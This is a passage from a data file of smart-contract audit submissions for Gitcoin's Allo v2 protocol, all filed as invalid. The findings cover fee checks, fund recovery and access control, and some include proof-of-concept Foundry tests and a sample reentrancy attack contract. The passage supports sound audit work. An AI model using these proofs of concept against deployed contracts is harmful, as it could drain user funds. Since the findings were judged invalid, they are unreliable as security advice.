Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L254-L288\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L448-L453\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider summing the votes allocated to recipients that have their status updated to `Rejected` from `Accepted` in `reviewRecipients` and subtracting this from `totalRecipientVotes`. Additionally, sum votes allocated to those being `Accepted` (should be 0 if they haven't been accepted before since you can only allocate to accepted recipients) and add this to `totalRecipientVotes`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/131.md"}} +{"title":"Users may lose funds while creating a pool","severity":"info","body":"Gigantic Honey Starling\n\nmedium\n\n# Users may lose funds while creating a pool\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L473-L476\n\nUser may lose funds due to bad validation and no refund functionality in Allo.sol\n\n## Vulnerability Detail\n\nIn `_createPool` function if there is a base fee it is required `msg.value > amoun + baseFee`, this leads to user lose funds if they send more ETH accidentally (because you only transfer the baseFee to treasury and the specified amount to strategy if the msg.value is bigger the remainder will be lost).\n\nYou also revert if msg.value is == to the expected amount since your check is `if( amount + baseFee >= msg.value) revert;` , this means user should always send 1 more wei to pass this validataion, so there is possibility user sends more assets than expected and they lose the remainder.\n\n## Impact\n\nUser will lose some funds if they send more than expected.\n\n## Code Snippet\n_createPool function :\n```solidity\nFile: allo-v2\\contracts\\core\\Allo.sol\n\n469: if (baseFee > 0) {\n470: // To prevent paying the baseFee from the Allo contract's balance\n471: // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n472: // If _token is not NATIVE, then baseFee should be >= than msg.value.\n473: if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n474: revert NOT_ENOUGH_FUNDS();\n475: }\n476: _transferAmount(NATIVE, treasury, baseFee);\n477: emit BaseFeePaid(poolId, baseFee);\n478: }\n479: \n480: if (_amount > 0) {\n481: _fundPool(_amount, poolId, _strategy);\n482: }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider require `msg.value` to be exactly equal to the expected amount **Or** refund the user if there is remainder","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/119.md"}} +{"title":"`_createPool` reverts on valid attempts to create a pool with exact fee amount","severity":"info","body":"Glamorous Hazelnut Haddock\n\nmedium\n\n# `_createPool` reverts on valid attempts to create a pool with exact fee amount\n`_createPool` in the Allo contract reverts when provided native ETH is exactly enough to pay `baseFee` causing reverts on valid creation attempts and wasting gas unnecessarily.\n\n## Vulnerability Detail\nIf `baseFee > 0`, users must pay the base fee (always in native ETH) to create a pool. `_createPool` reverts if `baseFee + _amount >= msg.value` when creating a pool with native ETH as the 'token', or when `baseFee >= msg.value` for an ERC20 token pool.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L469-L478\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nThis means pool creation will revert even when `msg.value` is sufficient.\n\n## Impact\nSince most users will provide the exact fee amount, most initial (valid) creation attempts will fail, unnecessarily wasting gas.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L469-L478\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider changing the `>=` comparisons to `>`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/118.md"}} +{"title":"Users are forced to overpay when creating a pool","severity":"info","body":"Clumsy Pecan Jay\n\nhigh\n\n# Users are forced to overpay when creating a pool\n\n`Allo` uses the `baseFee` as a flat payment to the treasury on pool creation. However the code requires that a user passes a `msg.value` that is higher then the `baseFee` thus overpaying.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L423\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n------\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n------\n }\n```\n\nSee the comments and the if statements above.`>=` is used. This means that for a simple example that a pool is created with a non-native token and `msg.value` is set to `baseFee` - then the transaction will revert. The user needs to call with a higher amount of `msg.value`\n\n## Impact\n\nAll users will always overpay.\n \n## Code Snippet\n\nThere is a test already written in `Allo.t.sol`.\n```solidity\n function testRevert_createPool_withBaseFee_NOT_ENOUGH_FUNDS() public {\n uint256 baseFee = 1e17;\n allo().updateBaseFee(baseFee);\n\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n _utilCreatePool(0);\n }\n```\n\nTo execute run the command:\n```solidity\nforge test --match-test \"testRevert_createPool_withBaseFee_NOT_ENOUGH_FUNDS\" -v\n```\n\nExpected output:\n```solidity\nRunning 1 test for test/foundry/core/Allo.t.sol:AlloTest\n[PASS] testRevert_createPool_withBaseFee_NOT_ENOUGH_FUNDS() (gas: 367815)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.54ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFix the if statement mentioned above to not revert if `msg.value` is equal to the `baseFee`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/114.md"}} +{"title":"Fund recovery function could lead to an insolvent protocol.","severity":"info","body":"Flat Seaweed Platypus\n\nhigh\n\n# Fund recovery function could lead to an insolvent protocol.\nThe `recoverFunds()` function in Allo.sol and Registry.sol does not allow a balance input, which could lead to an insolvent protocol situation if more than a single user requires recovered funds.\n\n## Vulnerability Detail\nIn the case more than a single user call a payable function leaving excess token in Allo.sol, if the tokens are the same, then the owner would have to choose which user to transfer all the tokens to. \n\nThe scenario:\nUser A calls payable function `createPoolWithCustomStrategy()` \nUser A calls with a value of 10 Native token and sets `_amount` to 5 Native token\n\nUser B also calls payable function `createPoolWithCustomStrategy()` \nUser B calls with a value of 10 Native token and sets `_amount` to 8 Native token\n\nThe result is that the contract Allo.sol will have a total excess of 7 Native token waiting to be recovered.\n\nShould this be the situation, the owner of Allo.sol can only recover the amount for either User A or User B, resulting in a the protocol being incapable of paying a single user.\n\n## Impact\nThis impacts the recovery of excess user funds, leading to an insolvent protocol.\n\n## Code Snippet\n\nfunction recoverFunds(address _token, address _recipient) external onlyOwner {\n uint256 amount = _token == NATIVE ? address(this).balance : IERC20Upgradeable(_token).balanceOf(address(this));\n\n _transferAmount(_token, _recipient, amount);\n }\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe Allo.sol `recoverFunds()` function could allow balance input since the protocol owner is trusted.\nPayable function could implement refunds in the case of excess funds.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/113.md"}} +{"title":"No strict check of `msg.value` in `_createPool` can result in loss of funds when `baseFee` is updated.","severity":"info","body":"Clumsy Pecan Jay\n\nhigh\n\n# No strict check of `msg.value` in `_createPool` can result in loss of funds when `baseFee` is updated.\n\n`_createPool` makes sure that `msg.value` is **HIGHER** then amount to fund and `baseFee`.\nHowever - `baseFee` if updatable and can decrease. If a decreasing update is in the same block as a creation of a pool, the innocent pool creator will lose more `baseFee` then needed.\n\n## Vulnerability Detail\n\n```solidity\n function _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n------\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n------\n }\n\n function updateBaseFee(uint256 _baseFee) external onlyOwner {\n _updateBaseFee(_baseFee);\n }\n```\n\nAs seen above in `_createPool` function - `msg.value` is checked to be above the `baseFee`.\nIf `updateBaseFee` is called in the same block. An innocent pool creator will not be aware of the change (since the block is not finalized and the creation can be after the update) and will send a `msg.value` with the previous `baseFee` (not a user error).\n\nThe funds will be accepted and not refunded.\n\n## Impact\n\nLoss of funds\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L423\nIn `_createPool` change the if statements as follows:\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount != msg.value)) || (_token != NATIVE && baseFee != msg.value)) {\n revert FUNDS_NOT_ACCURATE();\n }\n _transferAmount(NATIVE, treasury, baseFee); \n emit BaseFeePaid(poolId, baseFee);\n }\n else {\n if (_token != NATIVE && msg.value != 0) revert FUNDS_NOT_ACCURATE()\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/112.md"}} +{"title":"Insufficient `msg.value` validation in `Allo` results in free funding of pools.","severity":"info","body":"Clumsy Pecan Jay\n\nhigh\n\n# Insufficient `msg.value` validation in `Allo` results in free funding of pools.\n\nWhen funding - `msg.value` is checked to be more then or equal to the funding amount after deducting the fee. Therefore, a pool creator can pass a `msg.value` that excludes the fee and the fee will be paid using the `Allo` contract balance.\n\n## Vulnerability Detail\n\nSee below `_fundPool` and `_transferAmountFrom`:\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n\n function _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n------\n }\n```\n\nNotice that there are two `_transferAmountFrom` calls in `_fundPool`. \n`_transferAmountFrom` reverts if `msg.value` is smaller then amount passed to it.\n\nThe first is to pay the fee and therefore `msg.value >= feeAmount` \nThe second is to fund the pool after fee deduction and therefore `msg.value >= amountAfterFee`.\n\nThe funder can set `msg.value` to `amountAfterFee` to successfully fund the pool and pay `feeAmount` using the `Allo` contract balance.\n\nIt is important to note it is expected that the `Allo` contract will contain additional funds in it.\nUsers are forced to overpay when creating pools.\nAdditionally there is an explicit recovery method is implemented `recoverFunds` to recover the funds to the recipient.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L283C17-L283C17\n\n## Impact\n\nFree creation of pools using `Allo` balance without paying fees from creator balance.\n\n## Code Snippet\n\nAdd the following test to `RFPSimpleStrategy.t.sol`\n\n```solidity\n function test_fundPoolWithoutFee() public {\n // Fund Allo\n vm.deal(address(allo()), 1 ether);\n\n // Calculate fund amount with and without fee\n uint256 amountWithFee = 10 ether;\n uint256 amountAfterFee = amountWithFee - ((amountWithFee * 1e16) / 1e18);\n\n // Fund the admin with the amount minus fee\n vm.deal(pool_admin(), amountAfterFee);\n\n // Fund the pool using the total amount but only send amount minus fee\n vm.prank(pool_admin());\n allo().fundPool{value: amountAfterFee}(poolId, amountWithFee);\n }\n```\n\nTo execute run the command:\n```solidity\nforge test --match-test \"test_fundPoolWithoutFee\" -v\n```\n\nExpected output:\n```solidity\nRunning 1 test for test/foundry/strategies/RFPSimpleStrategy.t.sol:RFPSimpleStrategyTest\n[PASS] test_fundPoolWithoutFee() (gas: 119789)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.13ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIn `_fundPool` add a check:\n```solidity\nif (msg.value < _amount) revert AMOUNT_MISMATCH();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/111.md"}} +{"title":"Creation of malicious custom strategies could lead to protocol insolvency.","severity":"info","body":"Flat Seaweed Platypus\n\nhigh\n\n# Creation of malicious custom strategies could lead to protocol insolvency.\nThe creation of custom strategies has no access control method set. \n\n## Vulnerability Detail\nThe function `createPoolWithCustomStrategy` has no access modifier and can be accessed by any user with a profile.\nEssentially this could lead to the creation of malicious strategies that do not adhere to the protocols intent.\n\n## Impact\nThis vulnerability could create strategies that are malicious to end users, thereby leading to loss of user funds and overall trust in the protocol. \n\n## Code Snippet\nAn example malicious strategy\npragma solidity ^0.8.19;\n\nimport \"./interfaces/IAllo.sol\";\nimport \"hardhat/console.sol\";\n\ncontract Attack {\n \n uint256 public poolID;\n address public alloAddress;\n bool public entered = false;\n\n function initialize(uint256 _id, bytes memory _initData) public returns (bool) {\n poolID = _id;\n alloAddress = msg.sender;\n return true;\n }\n\n function getPoolId() public returns (uint256) {\n return poolID;\n }\n\n function getAllo() public returns (address) {\n return alloAddress;\n }\n\n function reEnter(address _allo) public returns (uint256) {\n IAllo(_allo).fundPool{value: 400000000000000000}(1, 500000000000000000);\n return 1;\n }\n\n fallback() external payable {\n if (entered == false) {\n entered = true;\n reEnter(msg.sender);\n }\n console.log(\"fallback\");\n }\n}\n\n## Tool used\nHardhat\nManual Review\n\n## Recommendation\nI would recommend a role to be set that only creates custom strategies, then a modifier could be used to grant access to strategy creation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/110.md"}} +{"title":"Missing Validation for Metadata Change in `updateProfileMetadata` Function","severity":"info","body":"Blunt Cerulean Hedgehog\n\nmedium\n\n# Missing Validation for Metadata Change in `updateProfileMetadata` Function\nThe `updateProfileMetadata` function in the Registry contract lacks validation to ensure that the new metadata provided as input is different from the existing metadata. This oversight could potentially lead to unnecessary transactions and increased gas costs when updating a profile's metadata with the same information.\n## Vulnerability Detail\nThe `updateProfileMetadata` function allows the owner of a profile to update the metadata associated with that profile. However, it does not check whether the new metadata is identical to the existing metadata before updating it. Consequently, users can submit requests to update the metadata with the same values, resulting in transactions being processed even when there is no actual change in metadata.\n```solidity\nfunction updateProfileMetadata(bytes32 _profileId, Metadata memory _metadata)\n external\n onlyProfileOwner(_profileId)\n{\n // Update the metadata without checking for changes\n profilesById[_profileId].metadata = _metadata;\n\n // Emit the event that the 'Metadata' was updated\n emit ProfileMetadataUpdated(_profileId, _metadata);\n}\n```\n## Impact\nSetting old Metadat as the new metadata can be crucial to the protocol's workability and flow logic hindering the contract's functionality.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L209-L218)\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a check within the updateProfileMetadata function to compare the new metadata with the existing metadata. Only update the metadata if they are different, preventing unnecessary gas consumption for unchanged metadata updates.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/109.md"}} +{"title":"Lack of Nonce Uniqueness Enforcement in `createProfile` Function","severity":"info","body":"Blunt Cerulean Hedgehog\n\nmedium\n\n# Lack of Nonce Uniqueness Enforcement in `createProfile` Function\nThe `createProfile` function in the provided contract lacks a mechanism to enforce the uniqueness of nonces when creating profiles. As a result, it is possible to create multiple profiles with the same nonce value, which may lead to unexpected behavior and data integrity issues.\n## Vulnerability Detail\nThe `createProfile` function is responsible for creating new profiles, and it determines the nonce for the new profile by incrementing the `_lastProfileNonce` value. However, it does not include any checks to ensure that a profile with the same nonce does not already exist. Here is a code snippet illustrating this issue:\n```solidity\nfunction createProfile(string memory _name) public {\n require(bytes(_name).length > 0, \"Name cannot be empty\");\n \n // Increment the nonce to generate a new nonce for the profile.\n _lastProfileNonce++;\n \n // Create a new profile with the incremented nonce.\n profiles[msg.sender][_lastProfileNonce] = Profile(_name, msg.sender, block.timestamp);\n \n // Emit an event to log the profile creation.\n emit ProfileCreated(msg.sender, _name, _lastProfileNonce);\n}\n\n```\n## Impact\nThe lack of nonce uniqueness enforcement can lead to the creation of multiple profiles with the same nonce. This could result in unexpected behavior, data inconsistencies, and may affect the proper functioning of the contract if nonces are used for other purposes within the contract or in external systems.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L119-L169)\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\nfunction createProfile(string memory _name) public {\n require(bytes(_name).length > 0, \"Name cannot be empty\");\n \n // Check if a profile with the same nonce already exists.\n require(profiles[msg.sender][_lastProfileNonce + 1].creationTimestamp == 0, \"Profile with the same nonce already exists\");\n \n // Increment the nonce to generate a new nonce for the profile.\n _lastProfileNonce++;\n \n // Create a new profile with the incremented nonce.\n profiles[msg.sender][_lastProfileNonce] = Profile(_name, msg.sender, block.timestamp);\n \n // Emit an event to log the profile creation.\n emit ProfileCreated(msg.sender, _name, _lastProfileNonce);\n}\n```\nWith this mitigation, the function checks if a profile with the same nonce already exists before incrementing the nonce and creating a new profile. If a profile with the same nonce is found, it will revert the transaction, ensuring the uniqueness of nonces for profiles.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/108.md"}} +{"title":"Inconsistency in Access Control Importation in the Allo Smart Contract","severity":"info","body":"Rapid Lead Cricket\n\nmedium\n\n# Inconsistency in Access Control Importation in the Allo Smart Contract\nThe Allo and Registry smart contract incorporates mixed versions of libraries from OpenZeppelin, utilizing both `openzeppelin-contracts` and `openzeppelin-contracts-upgradeable`. Notably, the contract is importing `AccessControl.sol` instead of `AccessControlUpgradeable.sol`, which may create compatibility and upgradability issues within the contract ecosystem.\n\n## Vulnerability Detail\n```solidity\nimport \"openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\";\nimport \"openzeppelin-contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol\";\nimport \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\nimport \"openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol\";\n```\nAs seen, the `AccessControl` contract is imported from `openzeppelin-contracts` which is a non-upgradeable library, while other contracts like `Initializable` and `ReentrancyGuardUpgradeable` are imported from `openzeppelin-contracts-upgradeable`, which is an upgradeable library.\n\n## Impact\n\n1. Upgradability Issues: Using non-upgradable components alongside upgradable ones will cause future upgrades to malfunction or be limited in functionality.\n2. Incompatibility Issues: The simultaneous use of different versions of libraries might lead to conflicts in function calls or data handling, potentially causing unexpected behavior or vulnerabilities.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L8\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUpdating the import statement to `import \"openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol\";` for `allo.sol` and `Registry.sol` would align with this without forgetting to use ` __AccessControl_init` in the initializer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/106.md"}} +{"title":"Lack of Existence Check for Target Contract in `execute` Function","severity":"info","body":"Blunt Cerulean Hedgehog\n\nmedium\n\n# Lack of Existence Check for Target Contract in `execute` Function\nThe `execute` function in the Anchor contract allows profile owners to execute calls to a target address. However, it lacks a crucial check for the existence of the target contract before making the call. This omission can potentially lead to Ether becoming stuck in the contract if the target contract does not exist.\n## Vulnerability Detail\nThe `execute` function is intended to facilitate controlled interactions with external addresses. However, it does not include a check to verify the existence of the target contract before making the call. This can be problematic because of the behavior of the Ethereum Virtual Machine (EVM).\n\nIn the EVM, the low-level `call` function returns `true` as its first return value if the account being called is non-existent. This means that if the target contract does not exist, the `call` function will still return `true`, and the function will proceed with the call, potentially resulting in Ether being sent to a non-existent contract, which effectively locks up the Ether.\nHere is the relevant code snippet from the `execute` function:\n```solidity\n// Check if the target address is the zero address and revert if it is\nif (_target == address(0)) revert CALL_FAILED();\n\n// Call the target address and return the data\n(bool success, bytes memory data) = _target.call{value: _value}(_data);\n// Check if the call was successful and revert if not\nif (!success) revert CALL_FAILED();\n```\nThe vulnerability lies in the fact that there is no check for the existence of `_target` before making the call.\n## Impact\nThe impact of this vulnerability is that Ether can become stuck in the contract if a user interacts with a non-existent target contract. This Ether would be effectively lost, as there would be no way to recover it.\n\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70-L84)\n## Tool used\n\nManual Review\n\n## Recommendation\nTo mitigate this issue, it is advisable to add a check for the existence of the target contract before making the call. This can be achieved by using the `extcodesize` assembly function to verify the code size at the target address. If the code size is zero, it indicates that the contract does not exist, and the function should revert with an appropriate error message.\n```solidity\n// Check if the target contract exists by verifying its code size\nuint256 codeSize;\nassembly {\n codeSize := extcodesize(_target)\n}\nif (codeSize == 0) revert CALL_FAILED();\n```\nThis addition ensures that the `execute` function only proceeds with the call if the target contract actually exists, reducing the risk of Ether being stuck in the contract due to interactions with non-existent contracts.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/104.md"}} +{"title":"Lack of Access Control in `allocate` and `distribute` Functions","severity":"info","body":"Blunt Cerulean Hedgehog\n\nhigh\n\n# Lack of Access Control in `allocate` and `distribute` Functions\nThe smart contract lacks proper access control in the `allocate` and `distribute` functions, allowing any address to call them. This can potentially lead to unauthorized access to critical functions and unintended behavior.\n## Vulnerability Detail\nThe vulnerability arises from the absence of access control mechanisms in the `allocate` and `distribute` functions. These functions are intended to be called by the Pool Manager, but they do not verify the identity of the caller, making them accessible to any Ethereum address. Below is the vulnerable code snippet:\n```solidity\n// Vulnerable code\nfunction allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant {\n _allocate(_poolId, _data);\n}\n\nfunction distribute(uint256 _poolId, address[] memory _recipientIds, bytes memory _data) external nonReentrant {\n pools[_poolId].strategy.distribute(_recipientIds, _data, msg.sender);\n}\n```\n## Impact\nThe lack of access control in these functions can have a significant impact, as it allows any address to execute allocation and distribution operations within the contract. This can result in unauthorized withdrawals or transfers of assets, potentially leading to financial losses or disruptions in the contract's intended operation.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L352)\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383)\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this vulnerability and enhance security, proper access control mechanisms should be implemented in the `allocate` and `distribute` functions. One effective mitigation approach is to use a modifier and a state variable to store the address of the Pool Manager. Here's an example of how this can be done:\n```solidity\naddress public poolManager;\n\nmodifier onlyPoolManager() {\n require(msg.sender == poolManager, \"Only the Pool Manager can call this function\");\n _;\n}\n\n// Constructor to set the initial Pool Manager\nconstructor() {\n poolManager = msg.sender;\n}\n\n// Function to transfer the Pool Manager role to another address\nfunction transferPoolManager(address _newManager) external onlyPoolManager {\n poolManager = _newManager;\n}\n\n// Modify the allocate function to allow only the Pool Manager\nfunction allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant onlyPoolManager {\n _allocate(_poolId, _data);\n}\n\n// Modify the distribute function to allow only the Pool Manager\nfunction distribute(uint256 _poolId, address[] memory _recipientIds, bytes memory _data) external nonReentrant onlyPoolManager {\n pools[_poolId].strategy.distribute(_recipientIds, _data, msg.sender);\n}\n\n```\nBy implementing this mitigation, the contract enforces that only the Pool Manager or an address explicitly transferred the Pool Manager role can access the `allocate` and `distribute` functions, thereby enhancing security and preventing unauthorized access.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/103.md"}} +{"title":"registerRecipient may not work as expected","severity":"info","body":"Gigantic Honey Starling\n\nmedium\n\n# registerRecipient may not work as expected\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L301-L304\n\nUsers may lose funds when calling the `registerRecipient` function since it has payable modifier but it is not sending the sent value to the strategy with the call.\n\n## Vulnerability Detail\nIn Allo contract `registerRecipient` function has `payable` modifier but it doesn't use the sent value. If a user want to register a new recipient on their custom strategy contract which requires some value be sent with the call they can't since you don't send the `msg.value` with the call in the Allo contract.\n\nOr if a pool is using your default strategies which doesn't require any msg.value for registering a recipient, If they call `Allo.sol::registerRecipient` function with some ETH sent their eth will be locked in the contract since the function is payable but not caching the msg.value for user anywhere or using at as fee\n\n## Impact\n\nUser's sent funds may be lost via the call to `registerRecipient` or they may be unable to send funds to `registerRecipient` function in their custom strategy contract\n(Note : the sent value will be locked in Allo not strategy, means it is not recoverable)\n\n## Code Snippet\nAllo.sol which doent't send the msg.value with the call :\n```solidity\nFile: allo-v2\\contracts\\core\\Allo.sol\n301: function registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n302: // Return the recipientId (address) from the strategy\n303: return pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n304: }\n```\nBaseStrategy.sol :\n```solidity\nFile: allo-v2\\contracts\\strategies\\BaseStrategy.sol\n165: function registerRecipient(bytes memory _data, address _sender)\n166: external\n167: payable\n168: onlyAllo\n169: onlyInitialized\n170: returns (address recipientId)\n171: {\n172: _beforeRegisterRecipient(_data, _sender);\n173: recipientId = _registerRecipient(_data, _sender);\n174: _afterRegisterRecipient(_data, _sender);\n175: }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nRemove the `payable` to prevent user's from losing funds if they sent with the call accidentally Or send the `msg.value` with call to strategy contract and also make sure your default strategy contracts are using the sent value otherwise remove payable from the `registerRecipient` in strategy contract too","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/102.md"}} +{"title":"Users will lose funds when creating pools due to the wrong baseFee payment implementation","severity":"info","body":"Petite Wooden Elephant\n\nhigh\n\n# Users will lose funds 